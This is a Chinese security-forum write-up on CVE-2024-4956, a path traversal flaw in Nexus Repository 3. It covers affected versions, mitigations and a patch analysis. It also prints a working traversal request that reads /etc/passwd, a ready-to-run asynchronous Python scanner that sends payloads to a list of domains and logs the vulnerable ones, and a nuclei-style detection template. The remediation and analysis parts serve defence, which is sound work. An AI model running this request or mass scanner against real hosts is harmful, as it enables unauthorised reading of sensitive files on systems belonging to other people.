Nexus Repository 3 任意文件读取-CVE-2024-4956的复现与分析
vghost 发表于 北京 漏洞分析 4489浏览 · 2024-05-31 15:57

漏洞简介:

Nexus Repository Manager 是一个存储库管理器,用于组织、存储和分发开发所需的工件。
在 Nexus Repository 3.68.1 之前的版本中发现了一个路径遍历漏洞。此漏洞允许攻击者构造一个 URL 来下载 Nexus Repository 应用程序范围之外的系统文件,而无需任何身份验证。这会带来重大风险,因为它可能会暴露敏感的系统文件,并可能危及安装 Nexus Repository 的环境的安全。
建议尽快将 Nexus Repository 更新至 3.68.1 或更高版本,以减轻此漏洞的影响。

漏洞原理:

攻击者可以制作一个 URL 来返回任何文件作为下载,包括 Sonatype Nexus Repository 3 应用程序范围之外的系统文件。

漏洞利用前提:

攻击者必须具有 Sonatype Nexus Repository 3 实例的网络访问权限。

漏洞利用版本

该漏洞影响 Sonatype Nexus Repository Manager 3.0 至 3.68.0 版本。

防御措施

升级 Nexus Repository 是消除此漏洞的推荐方法。但是,对于无法立即升级的部署,可以使用即时缓解选项:
参考:
https://support.sonatype.com/hc/en-us/articles/29412417068819

修复建议:

l 定期更新系统补丁,减少系统漏洞,提升服务器的安全性。
l 加强系统和网络的访问控制,修改防火墙策略,关闭非必要的应用端口或服务,减少将危险服务(如SSH、RDP等)暴露到公网,减少攻击面。
l 使用企业级安全产品,提升企业的网络安全性能。
l 加强系统用户和权限管理,启用多因素认证机制和最小权限原则,用户和软件权限应保持在最低限度。
l 启用强密码策略并设置为定期修改。
漏洞复现

GET /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Cache-Control: max-age=0

通过上述 PoC,可以看到 /etc/passwd 文件被访问:

补丁分析:

根据其修复措施去推
1:编辑 Sonatype Nexus 存储库 jetty.xml
对于 Sonatype Nexus Repository 的每个实例,编辑并从文件中删除这一行: (basedir)/etc/jetty/jetty.xml

<New id="NexusHandler" class="org.sonatype.nexus.bootstrap.jetty.InstrumentedHandler">
    <Arg>
      <New id="NexusWebAppContext" class="org.eclipse.jetty.webapp.WebAppContext">
        <Set name="descriptor"><Property name="jetty.etc"/>/nexus-web.xml</Set>
        <Set name="resourceBase"><Property name="karaf.base"/>/public</Set>
        <Set name="contextPath"><Property name="nexus-context-path"/></Set>
        <Set name="throwUnavailableOnStartupException">true</Set>
        <Set name="configurationClasses">
          <Array type="java.lang.String">
            <Item>org.eclipse.jetty.webapp.WebXmlConfiguration</Item>
          </Array>
        </Set>
      </New>
    </Arg>
  </New>

重新启动 Nexus Repository 以使更改生效。

注意:
此更改可防止利用该漏洞,但也会阻止应用程序从包含以下内容的目录中加载文件: (installdir)/public

favicon.ico
favicon-16x16.png
favicon-32x32.png
mstile-70x70.png
mstile-144x144.png
mstile-150x150.png
mstile-310x150.png
mstile-310x310.png
OSS-LICENSE.html
PRO-LICENSE.html
robots.txt
safari-pinned-tab.svg
apple-touch-icon.png
browserconfig.xml
COPYRIGHT.html

2.AWS WAF 核心规则集 - GenericLFI_URIPATH
如果对 Nexus Repository 的访问受到 AWS WAF 规则保护,则GenericLFI_URIPATH规则可以防止此漏洞。
漏洞原因:JettyURIUtil.canonicalPath()也将空字符串当成了目录,这是导致此漏洞的根本原因:

脚本编写:

python格式

通过扫描指定域名和负载列表中的目标,并检查响应内容中是否存在"root:"关键字。如果存在,则将目标URL记录到successful_urls.txt文件中,并增加成功尝试计数。
代码中使用了aiohttp库来进行异步HTTP请求,并使用colorama库来进行输出颜色设置。在扫描过程中,它将发送HTTP GET请求到每个目标URL,并检查响应内容中是否存在"root:"关键字。如果存在,则将目标URL记录到successful_urls.txt文件中,并增加成功尝试计数。

import asyncio
import aiohttp
import argparse
from colorama import init, Fore, Style

RATE_LIMIT = 15
DELAY = 0.5  # 500 ms delay
TIMEOUT = 3  # 3 seconds timeout

init(autoreset=True)

headers = {
    "Upgrade-Insecure-Requests": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "en-US,en;q=0.9",
    "Connection": "close"
}

successful_attempts = 0

ascii_art = """

"""

print(Fore.CYAN + ascii_art + Style.RESET_ALL)

async def send_request(session, domain, payload, index, total):
    global successful_attempts
    url = f"{domain}/{payload}"

    print(f"Testing URL {index + 1}/{total}: {domain}", end='', flush=True)

    try:
        async with session.get(url, headers=headers, ssl=False, timeout=TIMEOUT) as response:
            content = await response.text()
            if "root:" in content:
                with open("successful_urls.txt", "a") as file:
                    file.write(f"{domain}\n")
                successful_attempts += 1
                print(f" {Fore.GREEN}{Style.BRIGHT}Success")
            else:
                print(f" {Fore.RED}{Style.BRIGHT}Fail")
    except asyncio.TimeoutError:
        print(f" {Fore.RED}{Style.BRIGHT}Timeout")
    except Exception as e:
        print(f" {Fore.RED}{Style.BRIGHT}Fail")

async def main(domains_file, payloads_file):
    global successful_attempts
    async with aiohttp.ClientSession() as session:
        with open(domains_file, "r") as file:
            domains = file.read().splitlines()

        with open(payloads_file, "r") as file:
            payloads = file.read().splitlines()

        total_targets = len(domains) * len(payloads)
        print(f"{Fore.BLUE}Total targets to scan: {total_targets}")

        index = 0
        for domain in domains:
            domain = domain.strip()
            if not domain.startswith('http://') and not domain.startswith('https://'):
                domain = 'http://' + domain
            for payload in payloads:
                await send_request(session, domain, payload, index, total_targets)
                index += 1

        print(f"{Fore.BLUE}Task execution completed.")
        print(f"{Fore.GREEN}Successful attempts: {successful_attempts}/{total_targets}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Scan domains with multiple payloads")
    parser.add_argument("-d", "--domains", required=True, help="File containing list of domains")
    parser.add_argument("-p", "--payloads", required=True, help="File containing list of payloads")
    args = parser.parse_args()

    asyncio.run(main(args.domains, args.payloads))

YAML格式

id: CVE-2024-4956

info:
  name: Directory Traversal in Nexus Repository 3 (CVE-2024-4956)
  author: erickfernandox
  reference: 
  severity: high
  tags: cve,traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body

REF:
https://support.sonatype.com/hc/en-us/articles/29416509323923-CVE-2024-4956-Nexus-Repository-3-Path-Traversal-2024-05-16
https://support.sonatype.com/hc/en-us/articles/29412417068819
https://github.com/erickfernandox/CVE-2024-4956/blob/main/CVE-2024-4956.yaml

0 条评论
某人
表情
可输入 255